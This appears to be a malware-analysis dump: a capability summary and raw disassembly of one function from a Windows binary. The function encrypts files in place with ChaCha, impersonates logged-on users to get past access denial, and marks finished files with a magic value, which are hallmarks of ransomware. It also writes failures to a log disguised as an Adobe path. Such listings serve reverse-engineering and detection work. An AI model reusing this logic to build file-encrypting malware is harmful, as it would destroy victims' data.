Function at 0x14002e1c0
Capabilities:
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2bf8
call fcn.140099af4
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x2b60], xmm6
and rsp, 0xffffffffffffffc0
mov r14d, r9d
mov rsi, r8
mov rbx, rcx
movzx r15d, byte [rbp + 0x2be8]
movzx r12d, byte [rbp + 0x2be0]
mov rdi, qword [rdx]
xor r13d, r13d
cmp rdi, 0xffffffffffffffff
jne 0x14002e24e
mov rcx, qword [rbx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x12000000
mov dword [rsp + 0x20], 3
xor r13d, r13d
mov edx, 0x12019f
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14002e32c
mov dword [rsp + 0x84], 0
mov dword [rsp + 0xa4], 0
lea rdx, [rsp + 0xb8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x14002e312
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
je 0x14002e31e
mov dword [rsp + 0xcc], 0
cmp rcx, 5
mov qword [rsp + 0x88], rcx
jl 0x14002e483
mov r15, qword [rbp + 0x2bf0]
test r15, r15
je 0x14002e42c
mov rcx, r15
call fcn.140070b30
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0xcc]
lea r9, [rsp + 0x84]
mov rcx, rdi
mov r8d, 4
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, r15
call fcn.140070b60
cmp dword [rsp + 0xcc], 0xb36be7fe
jne 0x14002e465
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14002f275
mov qword [rsp + 0xb8], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14002f6c7
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov r13d, eax
cmp eax, 5
jne 0x14002f7aa
mov dword [rsp + 0xa0], r14d
mov rcx, qword [rbx]
call fcn.14004c5f0
mov rcx, qword [rbx]
mov edx, 0x80
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov r15, rbx
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14002f74c
mov r8, qword [rbp + 0x2c20]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
mov rdx, rcx
sub rdx, rax
cmp rdx, 8
ja 0x14002e392
mov rdx, qword [r8]
cmp rdx, qword [rax]
je 0x14002f74c
cmp rcx, rax
je 0x14002f74c
xor ebx, ebx
mov r12, qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r13, qword [sym.imp.KERNEL32.DLL_GetLastError]
nop dword [rax + rax]
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov r14, r15
mov rax, qword [r15 + 8]
mov rax, qword [rax]
mov rcx, qword [rax + rbx*8]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rcx, qword [r15]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x12000000
mov dword [rsp + 0x20], 3
mov edx, 0x12019f
xor r8d, r8d
xor r9d, r9d
call r12
mov rdi, rax
call r13
cmp rdi, 0xffffffffffffffff
jne 0x14002f707
and eax, 0xfffffffe
mov rdx, qword [r14 + 8]
cmp eax, 0x20
je 0x14002f739
inc rbx
mov rcx, qword [rdx + 8]
sub rcx, qword [rdx]
sar rcx, 3
cmp rcx, rbx
ja 0x14002e3b0
jmp 0x14002f74c
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0xcc]
lea r9, [rsp + 0x84]
mov rcx, rdi
mov r8d, 4
call qword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [rsp + 0xcc], 0xb36be7fe
je 0x14002e304
lea r8, [rsp + 0xd0]
mov rcx, rdi
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov rcx, qword [rsp + 0x88]
movzx eax, byte [rbp + 0x2c08]
mov dword [rsp + 0x9c], eax
movsxd rax, dword [rbp + 0x2c10]
shl rax, 0x14
cmp rcx, rax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x128], rbx
mov dword [rsp + 0xa0], r14d
jle 0x14002e533
mov rdi, qword [rbx]
mov rcx, rdi
call sub.msvcrt.dll_wcslen
dec eax
mov ecx, eax
nop dword [rax + rax]
sub ecx, 1
jb 0x14002e4e9
movsxd rdx, eax
cmp word [rdi + rdx*2], 0x2e
mov eax, ecx
jne 0x14002e4d0
lea rdi, [rdi + rdx*2]
add rdi, 2
movzx eax, byte [rbp + 0x2c08]
test al, al
je 0x14002e528
mov rbx, qword [0x140288530]
mov r14, qword [0x140288538]
cmp rbx, r14
je 0x14002e533
mov r15, qword [sym.imp.msvcrt.dll__wcsicmp]
nop
mov rcx, qword [rbx]
mov rdx, rdi
call r15
test eax, eax
je 0x14002e528
add rbx, 8
cmp rbx, r14
jne 0x14002e510
jmp 0x14002e533
mov dword [rsp + 0x9c], 0
lea rdi, [rsp + 0x300]
mov rcx, rdi
call fcn.14005e7e0
lea r15, [rsp + 0x1c0]
mov rcx, rdi
mov rdx, r15
mov r8d, 0x20
call fcn.14005e7f0
lea rcx, [rsp + 0x1e0]
mov edx, 0x20
call fcn.14006ddf0
mov rcx, r15
mov edx, 0x40
mov r8, r15
call fcn.14005de30
movzx ebx, byte [rsp + 0x9c]
test bl, bl
je 0x14002e5ca
lea rcx, [rbx + 2]
imul rcx, rsi
shl rcx, 0x10
mov rax, qword [rsp + 0x88]
cmp rcx, rax
jle 0x14002e5ca
mov rcx, rbx
shl rcx, 0x11
add rcx, 0x20000
mov rdx, rax
shr rdx, 0x20
je 0x14002e5c4
cqo
idiv rcx
mov rsi, rax
jmp 0x14002e5ca
xor edx, edx
div ecx
mov esi, eax
mov rdi, qword [rbp + 0x2c18]
mov qword [rsp + 0xb0], 0
test r12b, r12b
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xa8], rbx
je 0x14002e6c2
lea rcx, [0x140285278]
call fcn.140070b30
movss xmm6, dword [0x1402883f0]
mov r15d, dword [0x140286ae0]
lea rdx, [0x140285370]
lea r12, [rsp + 0x390]
mov rcx, r12
mov r8, r15
call sub.msvcrt.dll_memcpy
movaps xmm0, xmmword [0x1402852f0]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x140285300]
mov rax, qword [rsp + 0xb8]
add qword [0x140285270], rax
movaps xmmword [rsp + 0x1b0], xmm0
add qword [rdi], rax
mov rcx, qword [0x140285270]
movabs rax, 0x9c400000001
cmp rcx, rax
jb 0x14002e70d
movabs rdx, 0x346dc5d63886594b
mov rax, rcx
mul rdx
shr rdx, 0x29
movabs rax, 0x9c400000000
imul rax, rdx
sub rcx, rax
mov qword [0x140285270], rcx
mov rcx, qword [0x140288400]
call qword [sym.imp.KERNEL32.DLL_SetEvent]
mov rcx, qword [0x140288440]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
jmp 0x14002e70d
mov r15d, dword [0x140286ae4]
movaps xmm0, xmmword [0x140285310]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x140285320]
movaps xmmword [rsp + 0x1b0], xmm0
movss xmm6, dword [0x1402883f4]
lea rcx, [0x140285278]
call fcn.140070b30
mov rax, qword [rsp + 0xb8]
add qword [rdi], rax
lea r12, [0x140286af0]
lea rcx, [0x140285278]
call fcn.140070b60
cmp rsi, 2
mov r14d, 1
cmovge r14, rsi
mov rbx, r14
shr rbx, 0x10
mov rax, r14
shl rax, 0x10
cmp rax, 0x200001
mov r13d, 0x200000
cmovb r13, rax
cmp byte [rsp + 0x9c], 0
cmove r13, rax
mov rax, qword [rsp + 0x88]
cmp r13, rax
jle 0x14002e773
lea r13, [rax + 0xffff]
test rax, rax
cmovns r13, rax
and r13, 0xffffffffffff0000
lea rsi, [rsp + 0x970]
mov rcx, rsi
xor edx, edx
call fcn.14005f9a0
lea rdx, [rsp + 0xb0]
mov rcx, r12
mov r8, rsi
mov r9d, r15d
call fcn.14006b1b0
lea rcx, [rsp + 0x2e0]
lea r12, [rsp + 0x370]
mov rdx, r12
call fcn.14006d840
lea r15, [rsp + 0x340]
lea rdi, [rsp + 0x320]
lea r8, [rsp + 0x1a0]
mov rcx, rdi
mov rdx, r12
call fcn.14006d8a0
mov edx, 0x20
mov rcx, r12
call fcn.14006ddf0
mov rcx, rdi
mov edx, 0x20
mov r8, r15
call fcn.14005de30
lea r12, [rsp + 0x3a0]
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x3a0], xmm0
movaps xmmword [rsp + 0x3b0], xmm1
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x3c0], rax
mov eax, dword [rsp + 0x9c]
mov byte [rsp + 0x3c8], al
mov byte [rsp + 0x3c9], r14b
mov byte [rsp + 0x3ca], bl
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movups xmmword [rsp + 0x3cb], xmm0
movups xmmword [rsp + 0x3db], xmm1
lea rdx, [rsp + 0x360]
mov qword [rsp + 0x28], 0x14
mov qword [rsp + 0x20], 0x2b
mov rcx, r15
mov r8, r12
mov r9, r12
call sym.rayan_330_4.14_x64.exe_chacha
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0x300]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 2
mov dword [rsp + 0x38], 7
mov dword [rsp + 0x30], 1
mov rcx, r12
mov edx, 0x4b
mov r8, r12
mov r9d, 0x5cc
call fcn.140061650
cdqe
mov qword [rsp + 0xb0], rax
mov rcx, rsi
call fcn.14005fa70
movss dword [rsp + 0x39c], xmm6
mov dword [rsp + 0x398], 0xb36be7fe
mov rsi, qword [rsp + 0xb0]
lea rdi, [rsi + 8]
mov qword [rsp + 0xb0], rdi
add rsi, 0xb
nop dword [rax + rax]
mov rcx, rsi
call sub.msvcrt.dll_malloc
test rax, rax
je 0x14002e930
mov r15, rax
mov byte [rax + rdi + 2], 0x7f
mov word [rax + rdi], 0x2ddc
lea rcx, [rsp + 0x200]
lea rsi, [rsp + 0x1c0]
mov r9d, 0x14
mov rdx, rsi
lea r8, [rsp + 0x1e0]
call sym.rayan_330_4.14_x64.exe_chacha_init
mov edx, 0x28
mov rcx, rsi
call fcn.14006ddf0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1e0], 0
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmmword [rsp + 0x2a0], xmm0
test r13, r13
mov r14, r13
cmove r14, qword [rsp + 0x88]
add r14, 0x10
mov rbx, qword [rbp + 0x2bf0]
nop word [rax + rax]
mov edx, 0x10000
mov rcx, r14
call qword [sym.imp.msvcrt.dll__aligned_malloc]
test rax, rax
je 0x14002e9d0
mov r12, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
mov r9d, dword [rsp + 0xb8]
mov eax, dword [rsp + 0xbc]
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x90]
mov edx, 2
xor r8d, r8d
call qword [sym.imp.KERNEL32.DLL_LockFileEx]
test r13, r13
mov qword [rsp + 0xe8], r13
je 0x14002ef09
mov rax, qword [rsp + 0x88]
sub rax, r13
jl 0x14002ef09
mov qword [rsp + 0x170], rax
mov rcx, qword [rsp + 0xa8]
lea rax, [rcx + 1]
imul rax, r13
mov qword [rsp + 0x180], rax
mov rax, r13
neg rax
mov qword [rsp + 0x158], rax
mov rax, 0xfffffffffffffffe
sub rax, rcx
imul rax, r13
mov qword [rsp + 0x178], rax
mov rax, r13
imul rax, rcx
mov qword [rsp + 0x150], rax
mov al, 1
mov dword [rsp + 0xdc], eax
xor eax, eax
mov qword [rsp + 0xc0], rax
lea rdi, [rsp + 0x84]
xor esi, esi
xor edx, edx
jmp 0x14002eadd
cmp rbx, qword [rsp + 0x88]
mov rbx, qword [rbp + 0x2bf0]
lea rdi, [rsp + 0x84]
jg 0x14002ef0d
add rdx, qword [rsp + 0x180]
mov qword [rsp + 0xa8], rdx
cmp byte [rsp + 0xc0], 0
jne 0x14002eb50
mov rax, qword [rbp + 0x2bf8]
cmp dword [rax], 1
jle 0x14002eb50
test rbx, rbx
je 0x14002ebcf
mov rcx, rbx
call fcn.140070b30
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x90]
mov rdx, r12
mov r13, qword [rsp + 0xe8]
mov r8d, r13d
mov r9, rdi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, rbx
call fcn.140070b60
jmp 0x14002ebf7
test rsi, rsi
mov r13, qword [rsp + 0xe8]
mov rdi, qword [sym.imp.msvcrt.dll__aligned_malloc]
jne 0x14002ecc7
nop dword [rax + rax]
mov edx, 0x10000
mov rcx, r14
call rdi
test rax, rax
je 0x14002eb70
mov rsi, rax
test rbx, rbx
je 0x14002ec49
mov rcx, rbx
call fcn.140070b30
mov qword [rsp + 0x20], 0
mov rbx, qword [rsp + 0x90]
mov rcx, rbx
mov rdx, rsi
mov r8d, r13d
lea rdi, [rsp + 0x84]
mov r9, rdi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, qword [rbp + 0x2bf0]
call fcn.140070b60
jmp 0x14002ec74
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x90]
mov rdx, r12
mov r13, qword [rsp + 0xe8]
mov r8d, r13d
mov r9, rdi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
lea rcx, [rsp + 0x200]
mov rdx, r12
mov r8, r12
mov r9, r13
call sym.rayan_330_4.14_x64.exe_chacha_update
cmp rax, r13
jne 0x14002f0d9
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x158]
lea r8, [rsp + 0xd0]
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
xor eax, eax
mov qword [rsp + 0xc0], rax
jmp 0x14002ede0
mov qword [rsp + 0x20], 0
mov rbx, qword [rsp + 0x90]
mov rcx, rbx
mov rdx, rsi
mov r8d, r13d
lea rdi, [rsp + 0x84]
mov r9, rdi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, rbx
mov rdx, qword [rsp + 0x158]
lea r8, [rsp + 0xd0]
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov rax, qword [rbp + 0x2c00]
mov qword [rax + 0x30], rdi
mov qword [rax + 0x28], r13
mov qword [rax + 0x40], rsi
mov qword [rax + 0x18], rbx
lea rcx, [rsp + 0x2a0]
mov qword [rax + 0x20], rcx
mov al, 1
mov qword [rsp + 0xc0], rax
mov rbx, qword [rbp + 0x2bf0]
mov rcx, r12
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0xa8]
lea rax, [rcx + r13]
cmp rax, qword [rsp + 0x88]
jle 0x14002ed20
lea rcx, [rsp + 0x200]
mov rdx, r12
mov r8, r12
mov r9, r13
call sym.rayan_330_4.14_x64.exe_chacha_update
mov cl, 2
mov qword [rsp + 0xc0], rcx
cmp rax, r13
je 0x14002ede0
jmp 0x14002f0d9
mov qword [rsp + 0x2b0], rcx
test rbx, rbx
je 0x14002ed35
mov rcx, rbx
call fcn.140070b30
mov rax, qword [rbp + 0x2c00]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.DLL_SetEvent]
lea rcx, [rsp + 0x200]
mov rdx, r12
mov r8, r12
mov r9, r13
call sym.rayan_330_4.14_x64.exe_chacha_update
cmp rax, r13
jne 0x14002f0d9
cmp byte [rsp + 0xc0], 2
jne 0x14002ed76
mov al, 2
jmp 0x14002ec3c
mov rax, qword [rbp + 0x2c00]
mov rcx, qword [rax]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test rbx, rbx
je 0x14002ed98
mov rcx, rbx
call fcn.140070b60
mov eax, dword [rsp + 0x84]
cmp r13, rax
jne 0x14002fb34
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x178]
lea r8, [rsp + 0xd0]
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
cmp byte [rsp + 0xc0], 0
je 0x14002ec16
nop word [rax + rax]
test byte [rsp + 0xdc], 1
jne 0x14002eec0
test rbx, rbx
je 0x14002edfb
mov rcx, rbx
call fcn.140070b30
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x90]
mov rdx, r12
mov r8d, r13d
lea r9, [rsp + 0xa4]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [rsp + 0xa4]
cmp r13, rax
je 0x14002ee3a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov qword [rsp + 0xe0], rax
test rbx, rbx
je 0x14002ee47
mov rcx, rbx
call fcn.140070b60
cmp dword [rsp + 0xa4], 0
je 0x14002f0ef
mov rdx, qword [rsp + 0xa8]
lea rbx, [rdx + r13]
cmp byte [rsp + 0x9c], 0
je 0x14002eac0
mov rax, qword [rsp + 0x88]
cmp rbx, rax
jg 0x14002f6e4
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x150]
lea r8, [rsp + 0xd0]
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov rdx, qword [rsp + 0xa8]
jmp 0x14002eac0
mov rbx, qword [rsp + 0xb0]
mov rcx, r15
mov rdx, r12
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rcx, r12
lea rdx, [rsp + 0x398]
mov r8, rbx
mov rbx, qword [rbp + 0x2bf0]
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0xdc], 0
test rbx, rbx
jne 0x14002edf3
jmp 0x14002edfb
xor esi, esi
xor edx, edx
lea r8, [rsp + 0xd0]
mov r13, qword [rsp + 0x90]
mov rcx, r13
mov rdi, rdx
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
test rbx, rbx
je 0x14002ef6e
mov rcx, rbx
call fcn.140070b30
mov r14, qword [rsp + 0x88]
sub r14, rdi
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x84]
mov rcx, r13
mov rdx, r12
mov r8d, r14d
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, rbx
call fcn.140070b60
jmp 0x14002ef99
mov r14, qword [rsp + 0x88]
sub r14, rdi
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x84]
mov rcx, r13
mov rdx, r12
mov r8d, r14d
call qword [sym.imp.KERNEL32.DLL_ReadFile]
lea rdi, [rsp + 0x200]
mov rcx, rdi
mov rdx, r12
mov r8, r12
mov r9, r14
call sym.rayan_330_4.14_x64.exe_chacha_update
mov rbx, rax
mov rdx, r14
neg rdx
lea r8, [rsp + 0xd0]
mov rcx, r13
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov eax, ebx
mov rdx, r12
add rdx, rax
mov rcx, rdi
call sym.rayan_330_4.14_x64.exe_chacha_final
mov rdi, rax
add rdi, rbx
mov eax, edi
cmp rax, r14
jne 0x14002f0d9
cmp qword [rsp + 0xe8], 0
jne 0x14002f053
mov rax, qword [rsp + 0xb0]
cmp rax, r14
cmovb r14, rax
mov rcx, r15
add rcx, rax
sub rcx, r14
mov rdx, r12
mov rbx, r14
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rcx, r12
lea r14, [rsp + 0x398]
mov rdx, r14
mov r8, rbx
call sub.msvcrt.dll_memcpy
add r14, rbx
mov r8, qword [rsp + 0xb0]
sub r8, rbx
mov rcx, r15
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rbx, qword [rbp + 0x2bf0]
test rbx, rbx
je 0x14002f178
mov rcx, rbx
call fcn.140070b30
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.KERNEL32.DLL_WriteFile]
lea r13, [rsp + 0xa4]
mov r14, qword [rsp + 0x90]
mov rcx, r14
mov rdx, r12
mov r8d, edi
mov r9, r13
mov rdi, rax
call rax
mov rcx, rbx
call fcn.140070b60
mov rcx, rbx
call fcn.140070b30
mov r8d, dword [rsp + 0xb0]
add r8d, 3
mov qword [rsp + 0x20], 0
mov rcx, r14
mov rdx, r15
mov r9, r13
call rdi
mov rcx, rbx
call fcn.140070b60
jmp 0x14002f1c8
lea rcx, str.chacha_faild
mov dl, 1
call fcn.140012160
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_SetLastError]
cmp byte [0x140227110], 0
movzx r13d, byte [rbp + 0x2be8]
jne 0x14002f508
mov rax, qword [rsp + 0x128]
mov rbx, qword [rax]
lea rdi, [rsp + 0x188]
mov rcx, rdi
mov rdx, qword [rsp + 0xe0]
call fcn.140073b60
lea r8, str._mid_error:
mov rcx, rdi
xor edx, edx
call fcn.140072900
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x140], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x130], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x130], 1
je 0x14002f27c
mov r14, qword [rsp + 0x140]
jmp 0x14002f284
mov qword [rsp + 0x20], 0
mov r13, qword [sym.imp.KERNEL32.DLL_WriteFile]
lea rbx, [rsp + 0xa4]
mov r14, qword [rsp + 0x90]
mov rcx, r14
mov rdx, r12
mov r8d, edi
mov r9, rbx
call r13
mov r8d, dword [rsp + 0xb0]
add r8d, 3
mov qword [rsp + 0x20], 0
mov rcx, r14
mov rdx, r15
mov r9, rbx
call r13
mov rcx, r15
call fcn.1401f47c0
xorps xmm6, xmm6
lea rax, [rsp + 0x2d0]
movups xmmword [rax], xmm6
mov r8d, dword [rsp + 0xb8]
mov r9d, dword [rsp + 0xbc]
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x20], rax
mov rcx, r14
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_UnlockFileEx]
mov rax, qword [rbp + 0x2c00]
mov qword [rax + 0x40], 0
mov rcx, r12
call qword [sym.imp.msvcrt.dll__aligned_free]
test rsi, rsi
je 0x14002f22c
mov rcx, rsi
call qword [sym.imp.msvcrt.dll__aligned_free]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
movaps xmmword [rsp + 0x200], xmm6
movaps xmmword [rsp + 0x210], xmm6
movaps xmmword [rsp + 0x220], xmm6
movaps xmmword [rsp + 0x230], xmm6
movaps xmmword [rsp + 0x240], xmm6
movaps xmmword [rsp + 0x250], xmm6
movaps xmmword [rsp + 0x260], xmm6
movaps xmmword [rsp + 0x270], xmm6
mov al, 1
jmp 0x14002f6c9
lea r14, [rsp + 0x132]
xor edi, edi
movaps xmmword [rsp + 0x160], xmm0
test rbx, rbx
je 0x14002f35c
test r14, r14
je 0x14002f35c
movabs rdi, 0x100000000
mov qword [rsp + 0x88], rbx
mov rcx, rbx
call sub.msvcrt.dll_wcslen
mov rbx, rax
mov rcx, r14
call sub.msvcrt.dll_wcslen
mov r13, rax
mov rax, rbx
mov qword [rsp + 0xa8], rbx
add ebx, r13d
shl rbx, 0x20
add rbx, rdi
sar rbx, 0x1f
nop word cs:[rax + rax]
mov rcx, rbx
call sub.msvcrt.dll_malloc
test rax, rax
je 0x14002f2f0
mov rdi, rax
mov qword [rsp + 0x160], rax
movsxd rbx, dword [rsp + 0xa8]
lea r8, [rbx + rbx]
mov rcx, rax
mov rdx, qword [rsp + 0x88]
call sub.msvcrt.dll_memcpy
lea rcx, [rdi + rbx*2]
shl r13, 0x20
movabs rax, 0x100000000
add r13, rax
sar r13, 0x1f
mov rdx, r14
mov r8, r13
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x168], 0
movzx r13d, byte [rbp + 0x2be8]
movzx r14d, byte [0x140288308]
mov ecx, r14d
and cl, 1
je 0x14002f375
mov r14, qword [0x140288310]
jmp 0x14002f378
shr r14, 1
lea rbx, [r14 + 0x36]
movabs rax, 0x7fffffffffffffef
cmp rbx, rax
ja 0x14002fb4b
cmp rbx, 0xa
ja 0x14002f3b9
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
add bl, bl
mov byte [rsp + 0xf0], bl
xor eax, eax
jmp 0x14002f405
mov r13, rbx
or r13, 7
inc r13
js 0x14002fb65
mov rcx, r13
add rcx, r13
call fcn.14006fb50
or r13, 1
mov qword [rsp + 0xf0], r13
mov qword [rsp + 0x100], rax
mov qword [rsp + 0xf8], rbx
movzx ecx, byte [0x140288308]
and cl, 1
mov ebx, r13d
movzx r13d, byte [rbp + 0x2be8]
test bl, 1
lea rbx, [rsp + 0xf2]
cmovne rbx, rax
test cl, cl
je 0x14002f421
mov rdx, qword [0x140288318]
jmp 0x14002f428
lea rdx, [0x14028830a]
lea r8, [r14 + r14]
mov rcx, rbx
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str.ProgramDataAdobeExtension_Manager_CCLogs_fails.txt]
movups xmmword [rbx + r14*2], xmm0
movups xmm0, xmmword [0x1401fa84e]
movups xmmword [rbx + r14*2 + 0x10], xmm0
movups xmm0, xmmword [0x1401fa85e]
movups xmmword [rbx + r14*2 + 0x20], xmm0
movups xmm0, xmmword [0x1401fa86e]
movups xmmword [rbx + r14*2 + 0x30], xmm0
movups xmm0, xmmword [0x1401fa87e]
movups xmmword [rbx + r14*2 + 0x40], xmm0
movups xmm0, xmmword [0x1401fa88e]
movups xmmword [rbx + r14*2 + 0x50], xmm0
movups xmm0, xmmword [0x1401fa89a]
movups xmmword [rbx + r14*2 + 0x5c], xmm0
mov word [rbx + r14*2 + 0x6c], 0
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x160]
lea r8, [rsp + 0xf0]
mov r9d, 0x7d0
mov ecx, 1
call fcn.140029e00
test byte [rsp + 0xf0], 1
je 0x14002f4d2
mov rcx, qword [rsp + 0x100]
call fcn.14006fbd0
mov rcx, rdi
call fcn.1401f47c0
test byte [rsp + 0x130], 1
je 0x14002f4f1
mov rcx, qword [rsp + 0x140]
call fcn.14006fbd0
test byte [rsp + 0x188], 1
je 0x14002f508
mov rcx, qword [rsp + 0x198]
call fcn.14006fbd0
mov rax, qword [rsp + 0xe0]
and eax, 0xfffffffe
cmp r13b, 1
jg 0x14002f5b8
cmp eax, 0x20
jne 0x14002f5b8
movsxd rcx, dword [rsp + 0xa0]
lea rax, [0x1402882d8]
mov qword [rsp + 0xa8], rax
mov rax, qword [0x1402882d8]
mov qword [rsp + 0x88], rcx
lea rcx, [rcx*8]
lea r13, [rcx + rcx*2]
movzx r14d, byte [rbp + 0x2be0]
mov rax, qword [rax + r13]
mov rcx, qword [rax + r14*8]
call fcn.140070b30
mov rax, qword [0x140288290]
mov rbx, qword [rax + r13]
lea rdi, [r14 + r14*2]
lea r13, [rbx + rdi*8]
mov ecx, 0x20
call fcn.14006fb50
mov rcx, qword [rsp + 0x128]
movups xmm0, xmmword [rcx]
mov qword [rcx], 0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 8], r13
mov rcx, qword [rbx + rdi*8]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov qword [rbx + rdi*8], rax
jmp 0x14002f660
cmp r13b, 2
mov rdi, qword [rsp + 0x90]
jne 0x14002f690
cmp eax, 0x20
jne 0x14002f690
movsxd rcx, dword [rsp + 0xa0]
lea rax, [0x1402882f0]
mov qword [rsp + 0xa8], rax
mov rax, qword [0x1402882f0]
mov qword [rsp + 0x88], rcx
lea rcx, [rcx*8]
lea rdi, [rcx + rcx*2]
movzx r14d, byte [rbp + 0x2be0]
mov rax, qword [rax + rdi]
mov rcx, qword [rax + r14*8]
call fcn.140070b30
mov rax, qword [0x1402882a8]
mov rdi, qword [rax + rdi]
lea rbx, [r14 + r14*2]
lea r13, [rdi + rbx*8]
mov ecx, 0x20
call fcn.14006fb50
mov rcx, qword [rsp + 0x128]
movups xmm0, xmmword [rcx]
mov qword [rcx], 0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 8], r13
mov rcx, qword [rdi + rbx*8]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov qword [rdi + rbx*8], rax
inc qword [r13 + 0x10]
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
lea rcx, [rcx + rcx*2]
mov rax, qword [rax + rcx*8]
mov rcx, qword [rax + r14*8]
call fcn.140070b60
mov rdi, qword [rsp + 0x90]
mov rcx, r12
call qword [sym.imp.msvcrt.dll__aligned_free]
test rsi, rsi
je 0x14002f6a7
mov rcx, rsi
call qword [sym.imp.msvcrt.dll__aligned_free]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rax, qword [rbp + 0x2c00]
mov qword [rax + 0x40], 0
mov rcx, r15
call fcn.1401f47c0
xor eax, eax
movaps xmm6, xmmword [rbp + 0x2b60]
lea rsp, [rbp + 0x2b78]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rdx, qword [rsp + 0x150]
sub rax, rdx
cmp rax, r13
cmovg rdx, qword [rsp + 0x170]
mov rbx, qword [rbp + 0x2bf0]
jmp 0x14002ef0d
mov edx, ebx
mov rcx, qword [r14 + 8]
